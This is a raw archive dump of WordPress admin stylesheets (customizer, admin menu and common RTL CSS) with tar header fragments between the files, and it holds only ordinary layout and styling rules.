#available-menu-items-search .accordion-section-title { padding: 13px 15px; box-sizing: border-box; } #available-widgets-filter input, #available-menu-items-search input { width: 100%; min-height: 40px; margin: 1px 0; padding: 0 30px; } #available-widgets-filter input::-ms-clear, #available-menu-items-search input::-ms-clear { display: none; /* remove the "x" in IE, which conflicts with the "x" icon on button.clear-results */ } #available-menu-items-search .search-icon, #available-widgets-filter .search-icon { display: block; position: absolute; bottom: 19px; /* 13 container padding +1 input margin +1 input border +4 centering in 40px input */ right: 16px; width: 30px; height: 30px; line-height: 2.1; text-align: center; color: #646970; } #available-widgets-filter .clear-results, #available-menu-items-search .accordion-section-title .clear-results { position: absolute; top: 40px; /* 13 container padding +1 input margin +1 input border +4 centering in 40px input */ left: 16px; width: 30px; height: 30px; padding: 0; border: 0; cursor: pointer; background: none; color: #d63638; text-decoration: none; outline: 0; } #available-widgets-filter .clear-results, #available-menu-items-search .clear-results, #available-menu-items-search.loading .clear-results.is-visible { display: none; } #available-widgets-filter .clear-results.is-visible, #available-menu-items-search .clear-results.is-visible { display: block; } #available-widgets-filter .clear-results:before, #available-menu-items-search .clear-results:before { content: "\f335"; content: "\f335" / ''; font: normal 20px/1 dashicons; vertical-align: middle; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } #available-widgets-filter .clear-results:hover, #available-widgets-filter .clear-results:focus, #available-menu-items-search .clear-results:hover, #available-menu-items-search .clear-results:focus { color: #d63638; } #available-widgets-filter .clear-results:focus, #available-menu-items-search .clear-results:focus { border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } #available-menu-items-search .search-icon:after, #available-widgets-filter .search-icon:after, .themes-filter-bar .search-icon:after { content: "\f179"; font: normal 20px/1 dashicons; vertical-align: middle; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .themes-filter-bar .search-icon { position: absolute; top: 2px; right: 2px; z-index: 1; color: #646970; height: 30px; width: 30px; line-height: 2; text-align: center; } .no-widgets-found-message { display: none; margin: 0; padding: 0 15px; line-height: inherit; } .no-widgets-found .no-widgets-found-message { display: block; } #available-widgets .widget-top, #available-widgets .widget-top:hover, #available-menu-items .item-top, #available-menu-items .item-top:hover { border: none; background: transparent; box-shadow: none; } #available-widgets .widget-tpl, #available-menu-items .item-tpl { position: relative; padding: 15px 60px 15px 15px; background: #fff; border-bottom: 1px solid #dcdcde; border-right: 4px solid #fff; transition: .15s color ease-in-out, .15s background-color ease-in-out, .15s border-color ease-in-out; cursor: pointer; display: none; } #available-widgets .widget, #available-menu-items .item { position: static; } /* Responsive */ .customize-controls-preview-toggle { display: none; } @media only screen and (max-width: 782px) { .wp-customizer .theme:not(.active):hover .theme-actions, .wp-customizer .theme:not(.active):focus .theme-actions { display: block; } .wp-customizer .theme-browser .theme.active .theme-name span { display: inline; } .customize-control-header button.random .dice { margin-top: 0; } .customize-control-radio .customize-inside-control-row, .customize-control-checkbox .customize-inside-control-row, .customize-control-nav_menu_auto_add .customize-inside-control-row { margin-right: 32px; } .customize-control-radio input, .customize-control-checkbox input, .customize-control-nav_menu_auto_add input { margin-right: -32px; } .customize-control input[type="radio"] + label + br, .customize-control input[type="checkbox"] + label + br { line-height: 2.5; /* For widgets checkboxes */ } .customize-control .date-time-fields select { height: 39px; } .date-time-fields .date-input.month { width: 79px; } .date-time-fields .date-input.day, .date-time-fields .date-input.hour, .date-time-fields .date-input.minute { width: 55px; } .date-time-fields .date-input.year { width: 80px; } #customize-control-changeset_preview_link a { bottom: 16px; } .media-widget-control .media-widget-buttons .button.edit-media, .media-widget-control .media-widget-buttons .button.change-media, .media-widget-control .media-widget-buttons .button.select-media { margin-top: 12px; } .customize-preview-header.themes-filter-bar .search-icon { top: 6px; } } @media screen and (max-width: 1200px) { .outer-section-open .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main, .adding-menu-items .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main, .adding-widget .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main { right: 67%; } } @media screen and (max-width: 640px) { /* when the sidebar is collapsed and switching to responsive view, bring it back see ticket #35220 */ .wp-full-overlay.collapsed #customize-controls { margin-right: 0; } .wp-full-overlay-sidebar .wp-full-overlay-sidebar-content { bottom: 0; } .customize-controls-preview-toggle { display: block; position: absolute; top: 0; right: 48px; line-height: 2.6; font-size: 14px; padding: 0 12px 4px; margin: 0; height: 45px; background: #f0f0f1; border: 0; border-left: 1px solid #dcdcde; border-top: 4px solid #f0f0f1; color: #50575e; cursor: pointer; transition: color .1s ease-in-out, background .1s ease-in-out; } #customize-footer-actions, /*#customize-preview,*/ .customize-controls-preview-toggle .controls, .preview-only .wp-full-overlay-sidebar-content, .preview-only .customize-controls-preview-toggle .preview { display: none; } .preview-only #customize-save-button-wrapper { margin-top: -46px; } .customize-controls-preview-toggle .preview:before, .customize-controls-preview-toggle .controls:before { font: normal 20px/1 dashicons; content: "\f177"; content: "\f177" / ''; position: relative; top: 4px; margin-left: 6px; } .customize-controls-preview-toggle .controls:before { content: "\f540"; content: "\f540" / ''; } .preview-only #customize-controls { height: 45px; } .preview-only #customize-preview, .preview-only .customize-controls-preview-toggle .controls { display: block; } .wp-core-ui.wp-customizer .button { padding: 0 14px; line-height: 2.14285714; /* 30px */ font-size: 14px; vertical-align: middle; } .customize-control .attachment-media-view .upload-button { text-align: center; } #customize-control-changeset_status .customize-inside-control-row { padding-top: 15px; } body.adding-widget div#available-widgets, body.adding-menu-items div#available-menu-items, body.outer-section-open div#customize-sidebar-outer-content { width: 100%; } #available-widgets .customize-section-title, #available-menu-items .customize-section-title { border: 0; clip-path: none; height: inherit; margin: 0; overflow: hidden; padding: 0; width: auto; position: static; } #available-widgets .customize-section-title button, #available-menu-items .customize-section-title button { display: block; } #available-widgets .customize-section-back, #available-menu-items .customize-section-back { height: 69px; } #available-widgets .customize-section-title h3, #available-menu-items .customize-section-title h3 { font-size: 20px; font-weight: 200; padding: 9px 14px 12px 10px; margin: 0; line-height: 24px; color: #50575e; display: block; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } #available-widgets .customize-section-title .customize-action, #available-menu-items .customize-section-title .customize-action { font-size: 13px; display: block; font-weight: 400; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } #available-widgets-filter { position: relative; width: 100%; height: auto; } #available-widgets-list { top: 152px; } #available-menu-items-search .clear-results { top: 40px; left: 16px; } .reorder, .reordering .reorder-done { padding: 8px; } } @media screen and (max-width: 600px) { .wp-full-overlay.expanded { margin-right: 0; } body.adding-widget div#available-widgets, body.adding-menu-items div#available-menu-items, body.outer-section-open div#customize-sidebar-outer-content { top: 46px; z-index: 10; } body.wp-customizer .wp-full-overlay.expanded #customize-sidebar-outer-content { right: -100%; } body.wp-customizer.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content { right: 0; } } css/wp-admin.css 0000644 00000000613 15233246127 0007567 0 ustar 00 @import url(common.css); @import url(forms.css); @import url(admin-menu.css); @import url(dashboard.css); @import url(list-tables.css); @import url(edit.css); @import url(revisions.css); @import url(media.css); @import url(themes.css); @import url(about.css); @import url(nav-menus.css); @import url(widgets.css); @import url(site-icon.css); @import url(l10n.css); @import url(site-health.css); css/admin-menu-rtl.css 0000644 00000044443 15233246127 0010715 0 ustar 00 /*! This file is auto-generated */ #adminmenuback, #adminmenuwrap, #adminmenu, #adminmenu .wp-submenu { width: 160px; background-color: #1d2327; } #adminmenuback { position: fixed; top: 0; bottom: -120px; z-index: 1; /* positive z-index to avoid elastic scrolling woes in Safari */ /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; } .php-error #adminmenuback { position: absolute; } .php-error #adminmenuback, .php-error #adminmenuwrap { margin-top: 2em; } #adminmenu { clear: right; margin: 12px 0; padding: 0; list-style: none; } .folded #adminmenuback, .folded #adminmenuwrap, .folded #adminmenu, .folded #adminmenu li.menu-top { width: 36px; } /* New Menu icons */ /* hide background-image for icons above */ .menu-icon-dashboard div.wp-menu-image, .menu-icon-post div.wp-menu-image, .menu-icon-media div.wp-menu-image, .menu-icon-links div.wp-menu-image, .menu-icon-page div.wp-menu-image, .menu-icon-comments div.wp-menu-image, .menu-icon-appearance div.wp-menu-image, .menu-icon-plugins div.wp-menu-image, .menu-icon-users div.wp-menu-image, .menu-icon-tools div.wp-menu-image, .menu-icon-settings div.wp-menu-image, .menu-icon-site div.wp-menu-image, .menu-icon-generic div.wp-menu-image { background-image: none !important; } /*------------------------------------------------------------------------------ 7.0 - Main Navigation (Left Menu) ------------------------------------------------------------------------------*/ #adminmenuwrap { position: relative; float: right; z-index: 9990; } /* side admin menu */ #adminmenu * { -webkit-user-select: none; user-select: none; } #adminmenu li { margin: 0; padding: 0; } #adminmenu a { display: block; line-height: 1.3; padding: 2px 5px; color: #f0f0f1; } #adminmenu .wp-submenu a { color: #c3c4c7; color: rgba(240, 246, 252, 0.7); font-size: 13px; line-height: 1.4; margin: 0; padding: 5px 0; } #adminmenu .wp-submenu a:hover, #adminmenu .wp-submenu a:focus { background: none; } #adminmenu a:hover, #adminmenu li.menu-top > a:focus, #adminmenu .wp-submenu a:hover, #adminmenu .wp-submenu a:focus { color: #72aee6; } #adminmenu a:hover, #adminmenu a:focus, .folded #adminmenu .wp-submenu-head:hover { box-shadow: inset -4px 0 0 0 currentColor; transition: box-shadow .1s linear; border-radius: 0; } #adminmenu li.menu-top { border: none; min-height: 34px; position: relative; } #adminmenu .wp-submenu { list-style: none; position: absolute; top: -1000em; right: 160px; overflow: visible; word-wrap: break-word; padding: 6px 0; z-index: 9999; background-color: #2c3338; box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2); } .js #adminmenu .sub-open, .js #adminmenu .opensub .wp-submenu, #adminmenu a.menu-top:focus + .wp-submenu, .no-js li.wp-has-submenu:hover .wp-submenu { top: -1px; } #adminmenu a.wp-has-current-submenu:focus + .wp-submenu { top: 0; } #adminmenu .wp-has-current-submenu .wp-submenu, .no-js li.wp-has-current-submenu:hover .wp-submenu, #adminmenu .wp-has-current-submenu .wp-submenu.sub-open, #adminmenu .wp-has-current-submenu.opensub .wp-submenu { position: relative; z-index: 3; top: auto; right: auto; left: auto; bottom: auto; border: 0 none; margin-top: 0; box-shadow: none; } .folded #adminmenu .wp-has-current-submenu .wp-submenu { box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2); } /* ensure that wp-submenu's box shadow doesn't appear on top of the focused menu item's background. */ #adminmenu li.menu-top:hover, #adminmenu li.opensub > a.menu-top, #adminmenu li > a.menu-top:focus { position: relative; background-color: #1d2327; color: #72aee6; } .folded #adminmenu li.menu-top:hover, .folded #adminmenu li.opensub > a.menu-top, .folded #adminmenu li > a.menu-top:focus { z-index: 10000; } #adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, #adminmenu li.current a.menu-top, #adminmenu .wp-has-current-submenu .wp-submenu .wp-submenu-head { background: #2271b1; color: #fff; } .folded #adminmenu .wp-submenu.sub-open, .folded #adminmenu .opensub .wp-submenu, .folded #adminmenu .wp-has-current-submenu .wp-submenu.sub-open, .folded #adminmenu .wp-has-current-submenu.opensub .wp-submenu, .folded #adminmenu a.menu-top:focus + .wp-submenu, .folded #adminmenu .wp-has-current-submenu a.menu-top:focus + .wp-submenu, .no-js.folded #adminmenu .wp-has-submenu:hover .wp-submenu { top: 0; right: 36px; } .folded #adminmenu a.wp-has-current-submenu:focus + .wp-submenu, .folded #adminmenu .wp-has-current-submenu .wp-submenu { position: absolute; top: -1000em; } #adminmenu .wp-not-current-submenu .wp-submenu, .folded #adminmenu .wp-has-current-submenu .wp-submenu { min-width: 160px; width: auto; border: 1px solid transparent; border-right-width: 5px; } #adminmenu .wp-submenu li.current, #adminmenu .wp-submenu li.current a, #adminmenu .opensub .wp-submenu li.current a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a, #adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus { color: #fff; } #adminmenu .wp-not-current-submenu li > a, .folded #adminmenu .wp-has-current-submenu li > a { padding-left: 16px; padding-right: 14px; /* Exclude from the transition the outline for Windows High Contrast mode */ transition: all .1s ease-in-out, outline 0s; } #adminmenu .wp-has-current-submenu ul > li > a, .folded #adminmenu li.menu-top .wp-submenu > li > a { padding: 5px 12px; } #adminmenu a.menu-top, #adminmenu .wp-submenu-head { font-size: 14px; font-weight: 400; line-height: 1.3; padding: 0; } #adminmenu .wp-submenu-head { display: none; } .folded #adminmenu .wp-menu-name { position: absolute; right: -999px; } .folded #adminmenu .wp-submenu-head { display: block; } #adminmenu .wp-submenu li { padding: 0; margin: 0; } #adminmenu .wp-menu-image img { padding: 9px 0 0; opacity: 0.6; filter: alpha(opacity=60); } #adminmenu div.wp-menu-name { padding: 8px 36px 8px 8px; overflow-wrap: break-word; word-wrap: break-word; -ms-word-break: break-all; word-break: break-word; hyphens: auto; } #adminmenu div.wp-menu-image { float: right; width: 36px; height: 34px; margin: 0; text-align: center; } #adminmenu div.wp-menu-image.svg { background-repeat: no-repeat; background-position: center; background-size: 20px auto; } div.wp-menu-image:before { color: #a7aaad; color: rgba(240, 246, 252, 0.6); padding: 7px 0; transition: all .1s ease-in-out; } #adminmenu div.wp-menu-image:before { color: #a7aaad; color: rgba(240, 246, 252, 0.6); } #adminmenu li.wp-has-current-submenu:hover div.wp-menu-image:before, #adminmenu .wp-has-current-submenu div.wp-menu-image:before, #adminmenu .current div.wp-menu-image:before, #adminmenu a.wp-has-current-submenu:hover div.wp-menu-image:before, #adminmenu a.current:hover div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before { color: #fff; } #adminmenu li:hover div.wp-menu-image:before, #adminmenu li a:focus div.wp-menu-image:before, #adminmenu li.opensub div.wp-menu-image:before { color: #72aee6; } .folded #adminmenu div.wp-menu-image { width: 35px; height: 30px; position: absolute; z-index: 25; } .folded #adminmenu a.menu-top { height: 34px; } /* Sticky admin menu */ .sticky-menu #adminmenuwrap { position: fixed; } ul#adminmenu a.wp-has-current-submenu { position: relative; } ul#adminmenu a.wp-has-current-submenu:after, ul#adminmenu > li.current > a.current:after { left: 0; border: solid 8px transparent; content: " "; height: 0; width: 0; position: absolute; pointer-events: none; border-left-color: #f0f0f1; top: 50%; margin-top: -8px; } .folded ul#adminmenu li:hover a.wp-has-current-submenu:after, .folded ul#adminmenu li.wp-has-current-submenu:focus-within a.wp-has-current-submenu:after { display: none; } .folded ul#adminmenu a.wp-has-current-submenu:after, .folded ul#adminmenu > li a.current:after { border-width: 4px; margin-top: -4px; } /* flyout menu arrow */ #adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { left: 0; border: 8px solid transparent; content: " "; height: 0; width: 0; position: absolute; pointer-events: none; top: 10px; z-index: 10000; } .folded ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after, .folded ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-width: 4px; margin-top: -4px; top: 18px; } #adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-left-color: #2c3338; } #adminmenu li.menu-top:hover .wp-menu-image img, #adminmenu li.wp-has-current-submenu .wp-menu-image img { opacity: 1; filter: alpha(opacity=100); } #adminmenu li.wp-menu-separator { height: 5px; padding: 0; margin: 0 0 6px; cursor: inherit; } /* @todo: is this even needed given that it's nested beneath the above li.wp-menu-separator? */ #adminmenu div.separator { height: 2px; padding: 0; } #adminmenu .wp-submenu .wp-submenu-head { color: #fff; font-weight: 400; font-size: 14px; padding: 5px 11px 5px 4px; margin: -8px -5px 4px -1px; border-width: 3px 5px 3px 1px; border-style: solid; border-color: transparent; } #adminmenu li.current, .folded #adminmenu li.wp-menu-open { border: 0 none; } /* @todo: consider to use a single rule for these counters and the list table comments counters. */ #adminmenu .menu-counter, #adminmenu .awaiting-mod, #adminmenu .update-plugins { display: inline-block; vertical-align: top; box-sizing: border-box; margin: 1px 2px -1px 0; padding: 0 5px; min-width: 18px; height: 18px; border-radius: 9px; background-color: #d63638; color: #fff; font-size: 11px; line-height: 1.6; text-align: center; z-index: 26; } #adminmenu li.current a .awaiting-mod, #adminmenu li a.wp-has-current-submenu .update-plugins { background-color: #d63638; color: #fff; } #adminmenu li span.count-0 { display: none; } #collapse-button { display: block; width: 100%; height: 34px; margin: 0; border: none; padding: 0; position: relative; overflow: visible; background: none; color: #a7aaad; cursor: pointer; } #collapse-button:hover { color: #72aee6; } #collapse-button:focus { color: #72aee6; /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; outline-offset: -1px; } #collapse-button .collapse-button-icon, #collapse-button .collapse-button-label { /* absolutely positioned to avoid 1px shift in IE when button is pressed */ display: block; position: absolute; top: 0; right: 0; } #collapse-button .collapse-button-label { top: 8px; } #collapse-button .collapse-button-icon { width: 36px; height: 34px; } #collapse-button .collapse-button-label { padding: 0 36px 0 0; } .folded #collapse-button .collapse-button-label { display: none; } #collapse-button .collapse-button-icon:after { content: "\f148"; content: "\f148" / ''; display: block; position: relative; top: 7px; text-align: center; font: normal 20px/1 dashicons !important; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } /* rtl:ignore */ .folded #collapse-button .collapse-button-icon:after, .rtl #collapse-button .collapse-button-icon:after { transform: rotate(180deg); } .rtl.folded #collapse-button .collapse-button-icon:after { transform: none; } #collapse-button .collapse-button-icon:after, #collapse-button .collapse-button-label { transition: all .1s ease-in-out; } /** * Toolbar menu toggle */ li#wp-admin-bar-menu-toggle { display: none; } /* Hide-if-customize for items we can't add classes to */ .customize-support #menu-appearance a[href="themes.php?page=custom-header"], .customize-support #menu-appearance a[href="themes.php?page=custom-background"] { display: none; } /* Auto-folding of the admin menu */ @media only screen and (max-width: 960px) { .auto-fold #wpcontent, .auto-fold #wpfooter { margin-right: 36px; } .auto-fold #adminmenuback, .auto-fold #adminmenuwrap, .auto-fold #adminmenu, .auto-fold #adminmenu li.menu-top { width: 36px; } .auto-fold #adminmenu .wp-submenu.sub-open, .auto-fold #adminmenu .opensub .wp-submenu, .auto-fold #adminmenu .wp-has-current-submenu .wp-submenu.sub-open, .auto-fold #adminmenu .wp-has-current-submenu.opensub .wp-submenu, .auto-fold #adminmenu a.menu-top:focus + .wp-submenu, .auto-fold #adminmenu .wp-has-current-submenu a.menu-top:focus + .wp-submenu { top: 0; right: 36px; } .auto-fold #adminmenu a.wp-has-current-submenu:focus + .wp-submenu, .auto-fold #adminmenu .wp-has-current-submenu .wp-submenu { position: absolute; top: -1000em; margin-left: -1px; padding: 6px 0; z-index: 9999; } .auto-fold #adminmenu .wp-has-current-submenu .wp-submenu { min-width: 160px; width: auto; border: 1px solid transparent; border-right-width: 5px; } .auto-fold #adminmenu .wp-has-current-submenu li > a { padding-left: 16px; padding-right: 14px; } .auto-fold #adminmenu li.menu-top .wp-submenu > li > a { padding-right: 12px; } .auto-fold #adminmenu .wp-menu-name { position: absolute; right: -999px; } .auto-fold #adminmenu .wp-submenu-head { display: block; } .auto-fold #adminmenu div.wp-menu-image { height: 30px; width: 34px; position: absolute; z-index: 25; } .auto-fold #adminmenu a.menu-top { min-height: 34px; } .auto-fold #adminmenu li.wp-menu-open { border: 0 none; } .auto-fold #adminmenu .wp-has-current-submenu.menu-top-last { margin-bottom: 0; } .auto-fold ul#adminmenu li:hover a.wp-has-current-submenu:after, .auto-fold ul#adminmenu li:focus-within a.wp-has-current-submenu:after { display: none; } .auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after, .auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-width: 4px; margin-top: -4px; top: 16px; } .auto-fold ul#adminmenu a.wp-has-current-submenu:after, .auto-fold ul#adminmenu > li a.current:after { border-width: 4px; margin-top: -4px; } .auto-fold #adminmenu li.menu-top:hover, .auto-fold #adminmenu li.opensub > a.menu-top, .auto-fold #adminmenu li > a.menu-top:focus { z-index: 10000; } .auto-fold #collapse-menu .collapse-button-label { display: none; } /* rtl:ignore */ .auto-fold #collapse-button .collapse-button-icon:after { transform: rotate(180deg); } .rtl.auto-fold #collapse-button .collapse-button-icon:after { transform: none; } } @media screen and (max-width: 782px) { .auto-fold #wpcontent { position: relative; margin-right: 0; padding-right: 10px; } .sticky-menu #adminmenuwrap { position: relative; z-index: auto; top: 0; } /* Sidebar Adjustments */ .auto-fold #adminmenu, .auto-fold #adminmenuback, .auto-fold #adminmenuwrap { position: absolute; width: 190px; z-index: 100; } .auto-fold #adminmenuback { position: fixed; } .auto-fold #adminmenuback, .auto-fold #adminmenuwrap { display: none; } .auto-fold .wp-responsive-open #adminmenuback, .auto-fold .wp-responsive-open #adminmenuwrap { display: block; } .auto-fold #adminmenu li.menu-top { width: 100%; } /* Resize the admin menu items to a comfortable touch size */ .auto-fold #adminmenu li a { font-size: 16px; padding: 5px; } .auto-fold #adminmenu li.menu-top .wp-submenu > li > a { padding: 10px 20px 10px 10px; } /* Restore the menu names */ .auto-fold #adminmenu .wp-menu-name { position: static; } /* Switch the arrow side */ .auto-fold ul#adminmenu a.wp-has-current-submenu:after, .auto-fold ul#adminmenu > li.current > a.current:after { border-width: 8px; margin-top: -8px; } .auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after, .auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { display: none; } /* Make the submenus appear correctly when tapped. */ #adminmenu .wp-submenu { position: relative; display: none; } .auto-fold #adminmenu .selected .wp-submenu, .auto-fold #adminmenu .wp-menu-open .wp-submenu { position: relative; display: block; top: 0; right: -1px; box-shadow: none; } .auto-fold #adminmenu .selected .wp-submenu:after, .auto-fold #adminmenu .wp-menu-open .wp-submenu:after { display: none; } .auto-fold #adminmenu .opensub .wp-submenu { display: none; } .auto-fold #adminmenu .selected .wp-submenu { display: block; } .auto-fold ul#adminmenu li:hover a.wp-has-current-submenu:after, .auto-fold ul#adminmenu li:focus-within a.wp-has-current-submenu:after { display: block; } .auto-fold #adminmenu a.menu-top:focus + .wp-submenu, .auto-fold #adminmenu .wp-has-current-submenu a.menu-top:focus + .wp-submenu { position: relative; right: -1px; left: 0; top: 0; } #adminmenu .wp-not-current-submenu .wp-submenu, .folded #adminmenu .wp-has-current-submenu .wp-submenu, .auto-fold #adminmenu .wp-has-current-submenu .wp-submenu { border: none; } /* Remove submenu headers and adjust sub meu*/ #adminmenu .wp-submenu .wp-submenu-head { display: none; } /* Toolbar menu toggle */ #wp-responsive-toggle { position: fixed; top: 5px; right: 4px; padding-left: 10px; z-index: 99999; border: none; box-sizing: border-box; } #wpadminbar #wp-admin-bar-menu-toggle a { display: block; padding: 0; overflow: hidden; outline: none; text-decoration: none; border: 1px solid transparent; background: none; height: 44px; margin-right: -1px; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a { background: #2c3338; } li#wp-admin-bar-menu-toggle { display: block; } #wpadminbar #wp-admin-bar-menu-toggle a:hover { border: 1px solid transparent; } #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { content: "\f228"; display: inline-block; float: right; font: normal 40px/45px dashicons; vertical-align: middle; outline: none; margin: 0; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; height: 44px; width: 50px; padding: 0; border: none; text-align: center; text-decoration: none; box-sizing: border-box; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { color: #72aee6; } } /* Smartphone */ @media screen and (max-width: 600px) { #adminmenuwrap, #adminmenuback { display: none; } .wp-responsive-open #adminmenuwrap, .wp-responsive-open #adminmenuback { display: block; } .auto-fold #adminmenu { top: 46px; } } css/common-rtl.css 0000644 00000236026 15233246127 0010153 0 ustar 00 /*! This file is auto-generated */ /* 2 column liquid layout */ #wpwrap { height: auto; min-height: 100%; width: 100%; position: relative; -webkit-font-smoothing: subpixel-antialiased; } #wpcontent { height: 100%; padding-right: 20px; } #wpcontent, #wpfooter { margin-right: 160px; } .folded #wpcontent, .folded #wpfooter { margin-right: 36px; } #wpbody-content { padding-bottom: 65px; float: right; width: 100%; overflow: visible; } /* inner 2 column liquid layout */ .inner-sidebar { float: left; clear: left; display: none; width: 281px; position: relative; } .columns-2 .inner-sidebar { margin-left: auto; width: 286px; display: block; } .inner-sidebar #side-sortables, .columns-2 .inner-sidebar #side-sortables { min-height: 300px; width: 280px; padding: 0; } .has-right-sidebar .inner-sidebar { display: block; } .has-right-sidebar #post-body { float: right; clear: right; width: 100%; margin-left: -2000px; } .has-right-sidebar #post-body-content { margin-left: 300px; float: none; width: auto; } /* 2 columns main area */ #col-left { float: right; width: 35%; } #col-right { float: left; width: 65%; } #col-left .col-wrap { padding: 0 0 0 6px; } #col-right .col-wrap { padding: 0 6px 0 0; } /* utility classes */ .alignleft { float: right; } .alignright { float: left; } .textleft { text-align: right; } .textright { text-align: left; } .clear { clear: both; } /* modern clearfix */ .wp-clearfix:after { content: ""; display: table; clear: both; } /* Hide visually but not from screen readers */ .screen-reader-text, .screen-reader-text span, .ui-helper-hidden-accessible { border: 0; clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; /* Many screen reader and browser combinations announce broken words as they would appear visually. */ word-wrap: normal !important; word-break: normal !important; } .button .screen-reader-text { height: auto; /* Fixes a Safari+VoiceOver bug, see ticket #42006 */ } .screen-reader-text + .dashicons-external { margin-top: -1px; margin-right: 2px; text-decoration: none; } .screen-reader-shortcut { position: absolute; top: -1000em; right: 6px; height: auto; width: auto; display: block; font-size: 14px; font-weight: 600; padding: 15px 23px 14px; /* Background and color set to prevent false positives in automated accessibility tests. */ background: #ffffff; color: var(--wp-admin-theme-color, #3858e9); z-index: 100000; line-height: normal; } .screen-reader-shortcut:focus { top: -25px; /* Overrides a:focus in the admin. See ticket #56789. */ color: var(--wp-admin-theme-color, #3858e9); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); text-decoration: none; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; outline-offset: -2px; } .hidden, .js .closed .inside, .js .hide-if-js, .no-js .hide-if-no-js, .js.wp-core-ui .hide-if-js, .js .wp-core-ui .hide-if-js, .no-js.wp-core-ui .hide-if-no-js, .no-js .wp-core-ui .hide-if-no-js { display: none; } /* @todo: Take a second look. Large chunks of shared color, from the colors.css merge */ .widget-top, .menu-item-handle, .widget-inside, #menu-settings-column .accordion-container, #menu-management .menu-edit, .manage-menus, table.widefat, .stuffbox, p.popular-tags, .widgets-holder-wrap, .wp-editor-container, .popular-tags, .feature-filter, .comment-ays { border: 1px solid #c3c4c7; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); } table.widefat, .wp-editor-container, .stuffbox, p.popular-tags, .widgets-holder-wrap, .popular-tags, .feature-filter, .comment-ays { background: #fff; } /* general */ html, body { height: 100%; margin: 0; padding: 0; } body { background: #f0f0f1; color: #3c434a; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; line-height: 1.4em; min-width: 600px; } body.iframe { min-width: 0; padding-top: 1px; } body.modal-open { overflow: hidden; } body.mobile.modal-open #wpwrap { overflow: hidden; position: fixed; height: 100%; } iframe, img { border: 0; } td { font-family: inherit; font-size: inherit; font-weight: inherit; line-height: inherit; } /* Any change to the default link style must be applied to button-link too. */ a { color: #2271b1; transition-property: border, background, color; transition-duration: .05s; transition-timing-function: ease-in-out; } a, div { outline: 0; } a:hover, a:active { color: #135e96; } a:focus, a:focus .media-icon img, a:focus .plugin-icon, .wp-person a:focus .gravatar { color: #043959; border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } #adminmenu a:focus { box-shadow: none; /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; outline-offset: -1px; } .screen-reader-text:focus { box-shadow: none; outline: none; } blockquote, q { quotes: none; } blockquote:before, blockquote:after, q:before, q:after { content: ""; content: none; } p, .wp-die-message { font-size: 13px; line-height: 1.5; margin: 1em 0; } blockquote { margin: 1em; } li, dd { margin-bottom: 6px; } h1, h2, h3, h4, h5, h6 { display: block; font-weight: 600; } h1 { color: #1d2327; font-size: 2em; margin: .67em 0; } h2, h3 { color: #1d2327; font-size: 1.3em; margin: 1em 0; } .update-core-php h2 { margin-top: 4em; } .update-php h2, .update-messages h2, h4 { font-size: 1em; margin: 1.33em 0; } h5 { font-size: 0.83em; margin: 1.67em 0; } h6 { font-size: 0.67em; margin: 2.33em 0; } ul, ol { padding: 0; } ul { list-style: none; } ol { list-style-type: decimal; margin-right: 2em; } ul.ul-disc { list-style: disc outside; } ul.ul-square { list-style: square outside; } ol.ol-decimal { list-style: decimal outside; } ul.ul-disc, ul.ul-square, ol.ol-decimal { margin-right: 1.8em; } ul.ul-disc > li, ul.ul-square > li, ol.ol-decimal > li { margin: 0 0 0.5em; } /* rtl:ignore */ .ltr { direction: ltr; } /* rtl:ignore */ .code, code { font-family: Consolas, Monaco, monospace; direction: ltr; unicode-bidi: embed; } kbd, code { padding: 3px 5px 2px; margin: 0 1px; background: #f0f0f1; background: rgba(0, 0, 0, 0.07); font-size: 13px; } .subsubsub { list-style: none; margin: 8px 0 0; padding: 0; font-size: 13px; float: right; color: #646970; } 